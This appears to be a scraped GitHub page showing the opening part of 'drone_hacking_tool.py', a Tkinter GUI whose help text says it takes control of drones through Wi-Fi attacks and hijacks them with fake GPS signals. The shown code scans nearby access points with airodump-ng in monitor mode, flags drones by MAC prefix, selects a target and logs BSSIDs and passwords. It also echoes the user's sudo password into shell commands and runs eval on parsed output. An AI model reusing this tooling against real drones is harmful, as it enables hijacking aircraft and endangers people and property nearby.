-
Notifications
You must be signed in to change notification settings - Fork 86
/
drone_hacking_tool.py
3054 lines (2853 loc) · 237 KB
/
drone_hacking_tool.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: utf-8 -*-
import os, time, subprocess, threading, ipaddress, paramiko, socket
import io
import re, signal
import changed_password_generator, changed_password_generator_lite
import pandas as pd
import tkinter as tk
from socket import AF_INET, SOCK_DGRAM
from tkinter import ttk, messagebox, TclError, simpledialog, Toplevel, Menu, PhotoImage, filedialog
from tkinter.ttk import Treeview
from tkinter import font as tkfont
from pathlib import Path
from threading import Thread
class SampleApp(tk.Tk):
def __init__(self, *args, **kwargs):
tk.Tk.__init__(self, *args, **kwargs)
self.title_font = tkfont.Font(family = "Helvetica", size = 26, weight = "bold", slant = "italic")
self.subtitle_font = tkfont.Font(size = 17)
self.start_page_button_font = tkfont.Font(size = 20)
self.drone_control_button_font = tkfont.Font(size = 20)
self.button_font = tkfont.Font(size = 12)
self.label_font = tkfont.Font(size = 15)
self.info_font = tkfont.Font(size = 12)
self.progressbar_color = ttk.Style()
self.progressbar_color.configure("green.Horizontal.TProgressbar", background='#07f523')
self.treeview_style = ttk.Style()
self.treeview_style.configure("font.Treeview", font=(None, 11))
# the container is where we'll stack a bunch of frames
# on top of each other, then the one we want visible
# will be raised above the others
container = tk.Frame(self)
container.pack(side = "top", fill = "both", expand = True)
container.grid_rowconfigure(0, weight = 1)
container.grid_columnconfigure(0, weight = 1)
self.frames = {}
for F in (StartPage, SelectInterface, RFLocationSelect, APDisplay, GetSelectedAPClientINFO, WifiAttack, RemoteServerConnect, DroneControl, FindHackrfDevice):
page_name = F.__name__
frame = F(parent = container, controller = self)
self.frames[page_name] = frame
# put all of the pages in the same location;
# the one on the top of the stacking order
# will be the one that is visible.
frame.grid(row = 0, column = 0, sticky = "nsew")
self.show_frame("StartPage")
def show_frame(self, page_name):
'''Show a frame for the given page name'''
frame = self.frames[page_name]
frame.event_generate("<<ShowFrame>>")
frame.tkraise()
frame.config(background="white")
try: #Try to update meun bar
menubar = frame.menubar(self)
self.configure(menu = menubar)
except:
pass
class StartPage(tk.Frame):
def __init__(self, parent, controller):
global current_path
tk.Frame.__init__(self, parent)
self.controller = controller
self.askstring_runtime_counter = 0
get_current_path = Path(__file__).parent.absolute()
current_path = str(get_current_path)
title_label = tk.Label(self, background = "white", text = "Welcome", font = controller.title_font)
title_label.pack(side = "top", fill = "x", pady = 10)
subtitle_label = tk.Label(self, background = "white", text = "Please select service", font = controller.subtitle_font)
subtitle_label.pack()
try:
self.wifi_base_drone_button_icon = tk.PhotoImage(file = current_path + "/data/gui_img/wifi_icon.png")
self.fake_gps_button_icon = tk.PhotoImage(file = current_path + "/data/gui_img/rf_icon.png")
wifi_base_drone_button = tk.Button(self, background = "white", text = "Wi-Fi base drone", font = controller.start_page_button_font, image = self.wifi_base_drone_button_icon, compound = "top", width = 100,
command = lambda: self.sudo_password_input("wifi_base"))
wifi_base_drone_button.pack(side = "left", fill = "both", padx = 10, pady = 5, expand = True)
fake_gps_button = tk.Button(self, background = "white", text = "Fake GPS", font = controller.start_page_button_font, image = self.fake_gps_button_icon, compound = "top", width = 100,
command = lambda: self.sudo_password_input("rf_base"))
fake_gps_button.pack(side = "right", fill = "both", padx = 10, pady = 5, expand = True)
except: #If icon not found
wifi_base_drone_button = tk.Button(self, background = "white", text = "Wi-Fi base drone", font = controller.start_page_button_font, width = 20,
command = lambda: self.sudo_password_input("wifi_base"))
wifi_base_drone_button.pack(side = "left", fill = "both", padx = 10, pady = 5, expand = True)
fake_gps_button = tk.Button(self, background = "white", text = "Fake GPS", font = controller.start_page_button_font, width = 20,
command = lambda: self.sudo_password_input("rf_base"))
fake_gps_button.pack(side = "right", fill = "both", padx = 10, pady = 5, expand = True)
def menubar(self, tool):
menubar = tk.Menu(tool)
option_tool = tk.Menu(menubar, tearoff = 0)
option_tool.add_command(label = "Wi-Fi base drone", command = lambda: self.sudo_password_input("wifi_base"))
option_tool.add_command(label = "RF base drone", command = lambda: self.sudo_password_input("rf_base"))
option_tool.add_separator()
option_tool.add_command(label = "Exit", command = lambda: quit())
menubar.add_cascade(label = "Option", menu = option_tool)
help_tool = tk.Menu(menubar, tearoff = 0)
help_tool.add_command(label = "Page guide", command = lambda: messagebox.showinfo("Page Guide",
"Thank you for using this programe.\nTo start, please select one option on the page.\n\nWi-Fi base drone: Exploit Wi-Fi attack to get the drone control rights.\n\nRF base drone: Using fake GPS signal to hijack the drone."))
help_tool.add_command(label = "About", command = lambda: messagebox.showinfo("Drone Hacking Tool",
"Code name: Barbary lion\nVersion: 1.1.2.111\n\nGroup member:\nSam KAN\nMichael YUEN\nDicky SHEK"))
menubar.add_cascade(label = "Help", menu = help_tool)
return menubar
def sudo_password_input(self, user_selected_service):
#print(user_selected_service)
global sudo_password
if self.askstring_runtime_counter < 1:
sudo_password = simpledialog.askstring("Authentication Required", "Authentication is required to run this program\nPassword:", show = "*")
self.askstring_runtime_counter = self.askstring_runtime_counter + 1
if sudo_password == "":
if messagebox.showerror("Error", "You must type in password."):
quit()
elif sudo_password == None:
quit()
elif sudo_password != "":
sudo_password_validation = "echo " + sudo_password + " | sudo -S ls" #Root password validation
get_sudo_password_validation_states = subprocess.Popen(sudo_password_validation, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, shell = True, universal_newlines = True).stdout
sudo_password_validation_states = get_sudo_password_validation_states.read().splitlines()
sudo_password_validation_states_convert = str(sudo_password_validation_states) #Convert to string
if "incorrect password attempt" in sudo_password_validation_states_convert:
if messagebox.showerror("Authentication failed", "Invalid password, please try again."):
quit()
else:
if user_selected_service == "wifi_base":
self.controller.show_frame("SelectInterface")
elif user_selected_service == "rf_base":
self.controller.show_frame("FindHackrfDevice")
class SelectInterface(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.bind("<<ShowFrame>>", self.select_interface_gui)
def select_interface_gui(self, event):
self.title_label = tk.Label(self, background = "white", text = "Select Wi-Fi adapter:", font = self.controller.title_font)
self.title_label.pack(side = "top", fill = "x", pady = 10)
try:
self.label_wifi_adapter_label_image = tk.PhotoImage(file = current_path + "/data/gui_img/wifi_adapter.png")
self.wifi_adapter_label = tk.Label(self, background = "white", image = self.label_wifi_adapter_label_image)
self.wifi_adapter_label.pack(side = "top", pady = 10)
except:
self.wifi_adapter_label = tk.Label(self, background = "white", text = "IEEE 802.11 adapter", font = self.controller.label_font)
self.wifi_adapter_label.pack(side = "top", pady = 10)
self.adapter_listBox = tk.Listbox(self, font = self.controller.label_font, selectmode = tk.SINGLE)
self.adapter_listBox.pack()
try:
self.back_button_icon = tk.PhotoImage(file = current_path + "/data/gui_img/back_icon.png")
self.next_button_icon = tk.PhotoImage(file = current_path + "/data/gui_img/next_icon.png")
self.back_button = tk.Button(self, background = "white", text="Back", font = self.controller.button_font, image = self.back_button_icon, compound = "left",
command = lambda: [self.destroy_select_interface_gui(), self.controller.show_frame("StartPage")])
self.back_button.pack(side = "left", anchor = "sw")
self.next_button = tk.Button(self, background = "white", text="Next", font = self.controller.button_font, image = self.next_button_icon, compound = "right",
command = self.check_selection)
self.next_button.pack(side = "right", anchor = "se")
except: #If icon not found
self.back_button = tk.Button(self, background = "white", text="Back", font = self.controller.button_font,
command = lambda: [self.destroy_select_interface_gui(), self.controller.show_frame("StartPage")])
self.back_button.pack(side = "left", anchor = "sw")
self.next_button = tk.Button(self, background = "white", text="Next", font = self.controller.button_font,
command = self.check_selection)
self.next_button.pack(side = "right", anchor = "se")
self.load_interface()
def menubar(self, tool):
menubar = tk.Menu(tool)
option_tool = tk.Menu(menubar, tearoff = 0)
option_tool.add_command(label = "Back", command = lambda: [self.destroy_select_interface_gui(), self.controller.show_frame("StartPage")])
option_tool.add_separator()
option_tool.add_command(label = "Exit", command = lambda: quit())
menubar.add_cascade(label = "Option", menu = option_tool)
help_tool = tk.Menu(menubar, tearoff = 0)
help_tool.add_command(label = "Page guide", command = lambda: messagebox.showinfo("Page Guide",
"Please ready your Wi-Fi adapter, and make sure your adapter supports 'monitor' mode.\n\nIf you are connected to your Wi-Fi adapter correctly, you can see the adapter name on the screen."))
help_tool.add_command(label = "About", command = lambda: messagebox.showinfo("Drone Hacking Tool",
"Code name: Barbary lion\nVersion: 1.1.2.111\n\nGroup member:\nSam KAN\nMichael YUEN\nDicky SHEK"))
menubar.add_cascade(label = "Help", menu = help_tool)
return menubar
def load_interface(self, runtime_counter = 0):
if runtime_counter < 1:
adapter_info = subprocess.Popen("iw dev 2>&1 | grep Interface | awk '{print $2}'", stdout = subprocess.PIPE, shell = True, universal_newlines = True).stdout
self.adapter_info_list = adapter_info.read().splitlines()
self.adapter_listBox.delete(0, "end")
app.after(10, lambda: self.load_interface(runtime_counter + 1)) #Wait 10 ms for loop
else:
if not self.adapter_info_list: #If no Wi-Fi adapter found
selected_interface_timestamp = time.strftime("%Y/%m/%d-%H:%M:%S") #Create a timestamp
self.check_log_file = Path(current_path + "/data/hack_drone_log.csv")
if self.check_log_file.is_file(): #Check "hack_drone_log.csv" is really exist
target_BSSID_log = [""]
channel_log = [""]
privacy_log = [""]
password_log = [""]
manufacturer_log = [""]
client_BSSID_log = [""]
selected_ap_timestamp_log = [selected_interface_timestamp]
states_log = ["Error: No interface found"]
dataframe = pd.DataFrame({"target_BSSID":target_BSSID_log, "channel":channel_log, "privacy":privacy_log, "password":password_log, "manufacturer":manufacturer_log, "client_BSSID":client_BSSID_log,"timestamp":selected_ap_timestamp_log, "states":states_log})
dataframe.to_csv(current_path + "/data/hack_drone_log.csv", index = False, sep = ',', mode = "a", header = False) #Write log data to "drone_attack_log.csv"
if messagebox.showerror("Error", "No interface found."):
self.destroy_select_interface_gui()
self.controller.show_frame("StartPage")
else:
for values in self.adapter_info_list:
self.adapter_listBox.insert("end", values)
def check_selection(self):
global selected_interface
try: #If user selected Wi-Fi interface
self.index_adapter_listBox = int(self.adapter_listBox.curselection()[0])
get_user_selected_interface = [self.adapter_listBox.get(values) for values in self.adapter_listBox.curselection()]
selected_interface_convert = str(get_user_selected_interface) #Convert to string
selected_interface_convert_strip = selected_interface_convert.strip("[(,)]") #Remove characters "[(,)]"
selected_interface = eval(selected_interface_convert_strip) #Remove characters "''"
message_user_select = ("Adapter " + selected_interface + " selected.")
if messagebox.askokcancel("Selected Wi-Fi Interface", message_user_select):
selected_interface_timestamp = time.strftime("%Y/%m/%d-%H:%M:%S") #Create a timestamp
self.check_log_file = Path(current_path + "/data/hack_drone_log.csv")
if self.check_log_file.is_file(): #Check "hack_drone_log.csv" is really exist
target_BSSID_log = [""]
channel_log = [""]
privacy_log = [""]
password_log = [""]
manufacturer_log = [""]
client_BSSID_log = [""]
selected_ap_timestamp_log = [selected_interface_timestamp]
states_log = ["Adapter " + selected_interface + " selected"]
dataframe = pd.DataFrame({"target_BSSID":target_BSSID_log, "channel":channel_log, "privacy":privacy_log, "password":password_log, "manufacturer":manufacturer_log, "client_BSSID":client_BSSID_log,"timestamp":selected_ap_timestamp_log, "states":states_log})
dataframe.to_csv(current_path + "/data/hack_drone_log.csv", index = False, sep = ',', mode = "a", header = False) #Write log data to "drone_attack_log.csv"
self.destroy_select_interface_gui()
self.controller.show_frame("APDisplay")
except IndexError:
selected_interface_timestamp = time.strftime("%Y/%m/%d-%H:%M:%S") #Create a timestamp
self.check_log_file = Path(current_path + "/data/hack_drone_log.csv")
if self.check_log_file.is_file(): #Check "hack_drone_log.csv" is really exist
target_BSSID_log = [""]
channel_log = [""]
privacy_log = [""]
password_log = [""]
manufacturer_log = [""]
client_BSSID_log = [""]
selected_ap_timestamp_log = [selected_interface_timestamp]
states_log = ["Error: Wi-Fi interface is not selected"]
dataframe = pd.DataFrame({"target_BSSID":target_BSSID_log, "channel":channel_log, "privacy":privacy_log, "password":password_log, "manufacturer":manufacturer_log, "client_BSSID":client_BSSID_log,"timestamp":selected_ap_timestamp_log, "states":states_log})
dataframe.to_csv(current_path + "/data/hack_drone_log.csv", index = False, sep = ',', mode = "a", header = False) #Write log data to "drone_attack_log.csv"
messagebox.showwarning("Tips", "You need to select interface.")
def destroy_select_interface_gui(self): #Kill select_interface_gui object
self.title_label.destroy()
self.wifi_adapter_label.destroy()
self.adapter_listBox.destroy()
self.back_button.destroy()
self.next_button.destroy()
class APDisplay(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.bind("<<ShowFrame>>", self.thread_control)
self.access_point_list_refresh_states = True
self.drone_manufacturer_list_missing_warning = True
def thread_control(self, event):
threading.Thread(target = self.ap_display_gui).start()
threading.Thread(target = self.load_access_point).start()
def ap_display_gui(self):
self.title_label = tk.Label(self, background = "white", text="Select target:", font = self.controller.title_font)
self.title_label.pack(side = "top", fill = "x", pady = 10)
try:
self.stop_start_button_pause_icon = tk.PhotoImage(file = current_path + "/data/gui_img/pause_icon.png")
self.stop_start_button_start_icon = tk.PhotoImage(file = current_path + "/data/gui_img/start_icon.png")
self.stop_start_button = tk.Button(self, background = "white", text = "Stop scanning", font = self.controller.button_font, state = "disable", image = self.stop_start_button_pause_icon, compound = "left",
command = lambda: self.stop_start_scanning())
self.stop_start_button.pack(side = "top", anchor = "e")
except: #If icon not found
self.stop_start_button = tk.Button(self, background = "white", text = "Stop scanning", font = self.controller.button_font, state = "disable",
command = lambda: self.stop_start_scanning())
self.stop_start_button.pack(side = "top", anchor = "e")
self.ap_display_tree = ttk.Treeview(self, style = "font.Treeview", columns=["1", "2", "3", "4", "5", "6", "7"], show = "headings")
self.ap_display_tree.column("1", width = 130, anchor = "center")
self.ap_display_tree.column("2", width = 170, anchor = "center")
self.ap_display_tree.column("3", width = 40, anchor = "center")
self.ap_display_tree.column("4", width = 40, anchor = "center")
self.ap_display_tree.column("5", width = 40, anchor = "center")
self.ap_display_tree.column("6", width = 60, anchor = "center")
self.ap_display_tree.column("7", width = 40, anchor = "center")
self.ap_display_tree.heading("1", text = "BSSID")
self.ap_display_tree.heading("2", text = "ESSID")
self.ap_display_tree.heading("3", text = "Channel")
self.ap_display_tree.heading("4", text = "Privacy")
self.ap_display_tree.heading("5", text = "Cipher")
self.ap_display_tree.heading("6", text = "Authentication")
self.ap_display_tree.heading("7", text = "Power")
self.ap_display_tree.tag_configure("matched_drone_list", background = "yellow")
self.ap_display_tree.pack(side = "top", fill = "both", expand = True)
self.progressbar = ttk.Progressbar(self, style = "green.Horizontal.TProgressbar", orient = "horizontal", mode = "determinate")
self.progressbar.pack(fill = "x")
self.info_label = tk.Label(self, background = "white", text = "Switching Wi-Fi adapter to monitor mode.", font = self.controller.info_font)
self.info_label.pack(side = "left")
try:
self.next_button_icon = tk.PhotoImage(file = current_path + "/data/gui_img/next_icon.png")
self.next_button = tk.Button(self, background = "white", text = "Next", font = self.controller.button_font, image = self.next_button_icon, compound = "right",
command = lambda: self.check_selection())
self.next_button.pack(side = "right", anchor = "se")
except: #If icon not found
self.next_button = tk.Button(self, background = "white", text = "Next", font = self.controller.button_font,
command = lambda: self.check_selection())
self.next_button.pack(side = "right", anchor = "se")
def menubar(self, tool):
menubar = tk.Menu(tool)
option_tool = tk.Menu(menubar, tearoff = 0)
option_tool.add_command(label = "Home", command = lambda: self.menubar_home())
option_tool.add_separator()
option_tool.add_command(label = "Exit", command = lambda: quit(), state = "disable")
menubar.add_cascade(label = "Option", menu = option_tool)
help_tool = tk.Menu(menubar, tearoff = 0)
help_tool.add_command(label = "Page guide", command = lambda: messagebox.showinfo("Page Guide",
"To continue, please select one Wi-Fi access point.\n\nThe program will scan the nearby Wi-Fi access point. If the Wi-Fi network is broadcast from the drone, and match with the 'drone manufacturer list' files, the program will highlight that Wi-Fi access point."))
help_tool.add_command(label = "About", command = lambda: messagebox.showinfo("Drone Hacking Tool",
"Code name: Barbary lion\nVersion: 1.1.2.111\n\nGroup member:\nSam KAN\nMichael YUEN\nDicky SHEK"))
menubar.add_cascade(label = "Help", menu = help_tool)
return menubar
def menubar_home(self):
try:
self.progressbar.stop()
time.sleep(0.5)
self.destroy_ap_display_gui()
self.controller.show_frame("StartPage")
except:
pass
def load_access_point(self):
#print("User selected " + selected_interface)
check_wifi_connect_states = "nmcli d show " + selected_interface + " 2>&1 | grep 'GENERAL.STATE:' | awk '{print $3}'"
get_wifi_connect_states = subprocess.Popen(check_wifi_connect_states, stdout = subprocess.PIPE, shell = True, universal_newlines = True).stdout #Get Wi-Fi connection state
wifi_connect_states = get_wifi_connect_states.read().splitlines()
wifi_connect_state_convert = str(wifi_connect_states) #Convert to string
wifi_connect_states_strip = wifi_connect_state_convert.strip("[]") #Remove characters "[]"
wifi_connect_states_strip_bracket = eval(wifi_connect_states_strip) #Remove characters "''"
return_wifi_connect_states = wifi_connect_states_strip_bracket.strip("()") #Remove characters "()"
disconect_wifi = "nmcli dev disconnect " + selected_interface
if return_wifi_connect_states == "connected": #If Wi-Fi connected
disconnect_wifi = subprocess.Popen(disconect_wifi, stdout = subprocess.PIPE, shell = True)
disconnect_wifi.wait()
elif return_wifi_connect_states == "connecting": #If connecting a Wi-Fi network
disconnect_wifi = subprocess.Popen(disconect_wifi, stdout = subprocess.PIPE, shell = True)
disconnect_wifi.wait()
interface_down = "echo " + sudo_password + " | sudo -S ifconfig " + selected_interface + " down"
interface_mode_monitor = "echo " + sudo_password + " | sudo -S iwconfig " + selected_interface + " mode monitor"
interface_up = "echo " + sudo_password + " | sudo -S ifconfig " + selected_interface + " up"
interface_down_states = subprocess.Popen(interface_down, stdout = subprocess.PIPE, shell = True)
interface_down_states.wait()
interface_mode_monitor_states = subprocess.Popen(interface_mode_monitor, stdout = subprocess.PIPE, shell = True)
interface_mode_monitor_states.wait()
interface_up_states = subprocess.Popen(interface_up, stdout = subprocess.PIPE, shell = True)
interface_up_states.wait()
self.check_dump_file = Path(current_path + "/data/ap_list-01.csv")
if self.check_dump_file.is_file(): #Check "ap_list-01.csv" is really exist
subprocess.Popen("echo " + sudo_password + " | sudo -S rm " + current_path + "/data/ap_list-01.csv", stdout = subprocess.PIPE, shell = True)
access_point_info = "echo " + sudo_password + " | sudo -S xterm -iconic -T 'accesspointinfo' -hold -e 'airodump-ng " + selected_interface + " -w " + current_path + "/data/ap_list -o csv'"
get_access_point_info_states = subprocess.Popen(access_point_info, stdout = subprocess.PIPE, shell=True)
access_point_info_states = get_access_point_info_states.poll()
while access_point_info_states == None:
time.sleep(1.0)
self.wait_for_csv_file()
break
def wait_for_csv_file(self):
self.info_label.config(text = "Collecting Access Point data.")
self.progressbar.start(70)
time.sleep(7.0)
self.progressbar.stop()
self.thread_access_point_list_update = threading.Thread(target = self.access_point_list_update)
self.thread_access_point_list_update.start()
self.stop_start_button.config(state = "normal")
def access_point_list_update(self):
try:
read_ap_list_cap = pd.read_csv(current_path + "/data/ap_list-01.csv", usecols=[0, 3, 5, 6, 7, 8, 13]) #Read csv "ap_list-01.csv" file
read_ap_list_cap_df = pd.DataFrame(read_ap_list_cap, columns = ["BSSID", " ESSID", " channel", " Privacy", " Cipher", " Authentication", " Power"])
read_ap_list_cap_df_drop_nan = read_ap_list_cap_df.dropna() #Drop values "NaN" in the CSV file
read_ap_list_cap_df_rename_header = read_ap_list_cap_df_drop_nan.rename(columns = {" channel": "channel", " Privacy": "Privacy", " Cipher": "Cipher", " Authentication": "Authentication", " Power": "Power", " ESSID": "ESSID"}) #Remove spaces in the header
read_ap_list_cap_df_rename_header["channel"] = read_ap_list_cap_df_rename_header["channel"].str.strip().astype(int) #Convert to integer
read_ap_list_cap_df_rename_header["Privacy"] = read_ap_list_cap_df_rename_header["Privacy"].str.strip()
read_ap_list_cap_df_rename_header["Cipher"] = read_ap_list_cap_df_rename_header["Cipher"].str.strip()
read_ap_list_cap_df_rename_header["Authentication"] = read_ap_list_cap_df_rename_header["Authentication"].str.strip()
read_ap_list_cap_df_rename_header["ESSID"] = read_ap_list_cap_df_rename_header["ESSID"].str.strip()
read_ap_list_cap_df_channel_filter = read_ap_list_cap_df_rename_header[read_ap_list_cap_df_rename_header['channel'] > 0] #Drop abnormal data
read_ap_list_cap_df_channel_sort = read_ap_list_cap_df_channel_filter.sort_values(by = "channel", ascending = True) #Sort value by column "channel"
read_ap_list_cap_df_power_filter = read_ap_list_cap_df_channel_sort[read_ap_list_cap_df_channel_sort.Power != -1.0] #Drop abnormal data
read_ap_list_cap_df_privacy_filter = read_ap_list_cap_df_power_filter[(read_ap_list_cap_df_power_filter.Privacy != "WEP")] #Filter useless data for drone
read_ap_list_cap_df_authentication_filter = read_ap_list_cap_df_privacy_filter[(read_ap_list_cap_df_privacy_filter.Authentication != "MGT")] #Filter useless data for drone
self.check_drone_manufacturer_list = Path(current_path + "/data/drone_manufacturer_list.csv")
if self.check_drone_manufacturer_list.is_file(): #Check "drone_manufacturer_list" is really exist
self.drone_manufacturer_list_missing_warning = True
read_drone_manufacturer_list_cap = pd.read_csv(current_path + "/data/drone_manufacturer_list.csv") #Read csv "drone_manufacturer_list.csv" file
read_drone_manufacturer_list_df = pd.DataFrame(read_drone_manufacturer_list_cap)
compare_source = read_ap_list_cap_df_authentication_filter
matched_drone = compare_source[compare_source["BSSID"].str.contains("|".join(read_drone_manufacturer_list_df["Drone_MAC_list"]))]
#print(matched_drone)
read_ap_list_cap_df_duplicates_index = set(read_ap_list_cap_df_authentication_filter.index).intersection(matched_drone.index) #Index duplicates data
read_ap_list_cap_df_duplicates = read_ap_list_cap_df_authentication_filter.drop(read_ap_list_cap_df_duplicates_index, axis = 0)
matched_drone_list = matched_drone.values.tolist()
access_point_list = read_ap_list_cap_df_duplicates.values.tolist()
for display_matched_drone_list in matched_drone_list: #Print matched drone list
self.ap_display_tree.insert("", "end", values = display_matched_drone_list, tags = ("matched_drone_list"))
for display_access_point_list in access_point_list: #Print AP's information
self.ap_display_tree.insert("", "end", values = display_access_point_list)
threading.Thread(target = self.access_point_list_refresh).start()
else:
if self.drone_manufacturer_list_missing_warning == True:
if messagebox.showwarning("Error", "File 'drone_manufacturer_list' not found."):
self.drone_manufacturer_list_missing_warning = False
access_point_list = read_ap_list_cap_df_authentication_filter.values.tolist()
for display_access_point_list in access_point_list: #Print AP's information
self.ap_display_tree.insert("", 'end', values = display_access_point_list)
threading.Thread(target = self.access_point_list_refresh).start()
elif self.drone_manufacturer_list_missing_warning == False:
access_point_list = read_ap_list_cap_df_authentication_filter.values.tolist()
for display_access_point_list in access_point_list: #Print AP's information
self.ap_display_tree.insert("", 'end', values = display_access_point_list)
threading.Thread(target = self.access_point_list_refresh).start()
except:
selected_ap_timestamp = time.strftime("%Y/%m/%d-%H:%M:%S") #Create a timestamp
self.check_log_file = Path(current_path + "/data/hack_drone_log.csv")
if self.check_log_file.is_file(): #Check "hack_drone_log.csv" is really exist
target_BSSID_log = [""]
channel_log = [""]
privacy_log = [""]
password_log = [""]
manufacturer_log = [""]
client_BSSID_log = [""]
selected_ap_timestamp_log = [selected_ap_timestamp]
states_log = ["Error: No Access Point found"]
dataframe = pd.DataFrame({"target_BSSID":target_BSSID_log, "channel":channel_log, "privacy":privacy_log, "password":password_log, "manufacturer":manufacturer_log, "client_BSSID":client_BSSID_log,"timestamp":selected_ap_timestamp_log, "states":states_log})
dataframe.to_csv(current_path + "/data/hack_drone_log.csv", index = False, sep = ',', mode = "a", header = False) #Write log data to "drone_attack_log.csv"
if messagebox.askretrycancel("Error", "No Access Point found."):
self.access_point_list_update()
def access_point_list_refresh(self):
self.info_label.config(text = "Automatically update in every 10 seconds.")
self.progressbar.start(100)
sleep_time_count = 0
while self.access_point_list_refresh_states == True and sleep_time_count < 10:
time.sleep(0.5)
sleep_time_count = sleep_time_count + 0.5
if sleep_time_count == 5:
self.info_label.config(text = "Yellow highlighting row is mean drone.")
self.progressbar.stop()
if self.access_point_list_refresh_states:
for ap_display_tree_item in self.ap_display_tree.get_children(): #Clean all data in TreeView
self.ap_display_tree.delete(ap_display_tree_item)
self.access_point_list_update()
def stop_start_scanning(self):
if self.stop_start_button['text'] == "Stop scanning": #If user is first time to press the button
self.access_point_list_refresh_states = False
self.info_label.config(text = "Automatically update is disable.")
self.progressbar.stop()
try:
self.stop_start_button.config(text = "Start scanning", image = self.stop_start_button_start_icon)
except: #If icon not found
self.stop_start_button.config(text = "Start scanning")
else:
self.access_point_list_refresh_states = True
for ap_display_tree_item in self.ap_display_tree.get_children(): #Clean all data in TreeView
self.ap_display_tree.delete(ap_display_tree_item)
self.access_point_list_update()
try:
self.stop_start_button.config(text = "Stop scanning", image = self.stop_start_button_pause_icon)
except: #If icon not found
self.stop_start_button.config(text = "Stop scanning")
def check_selection(self):
global selected_bssid, selected_channel, selected_privacy, matched_manufacturer
for ap_display_tree_item in self.ap_display_tree.selection(): #Get user selection
selected_item = self.ap_display_tree.item(ap_display_tree_item, "values")
if selected_item[1] == "": #If BSSID is null
message_user_select = ("BSSID " + selected_item[0] + " " + "selected.")
else:
message_user_select = ("BSSID " + selected_item[0] + " (" + selected_item[1] + ") " + "selected.")
if messagebox.askokcancel("Selected Target", message_user_select):
self.progressbar.stop()
selected_bssid = selected_item[0]
selected_channel = selected_item[2].strip("{ }") #Remove characters "{ }"
selected_privacy = selected_item[3].strip("{ }") #Remove characters "{ }"
self.check_drone_manufacturer_list = Path(current_path + "/data/drone_manufacturer_list.csv")
if self.check_drone_manufacturer_list.is_file(): #Check "drone_manufacturer_list" is really exist
read_drone_manufacturer_list_cap = pd.read_csv(current_path + "/data/drone_manufacturer_list.csv") #Read csv "drone_manufacturer_list.csv" file
read_drone_manufacturer_list_df = pd.DataFrame(read_drone_manufacturer_list_cap)
consider_manufacturer = selected_bssid[:-6]
get_matched_manufacturer = read_drone_manufacturer_list_df[read_drone_manufacturer_list_df["Drone_MAC_list"].str.contains(consider_manufacturer)]
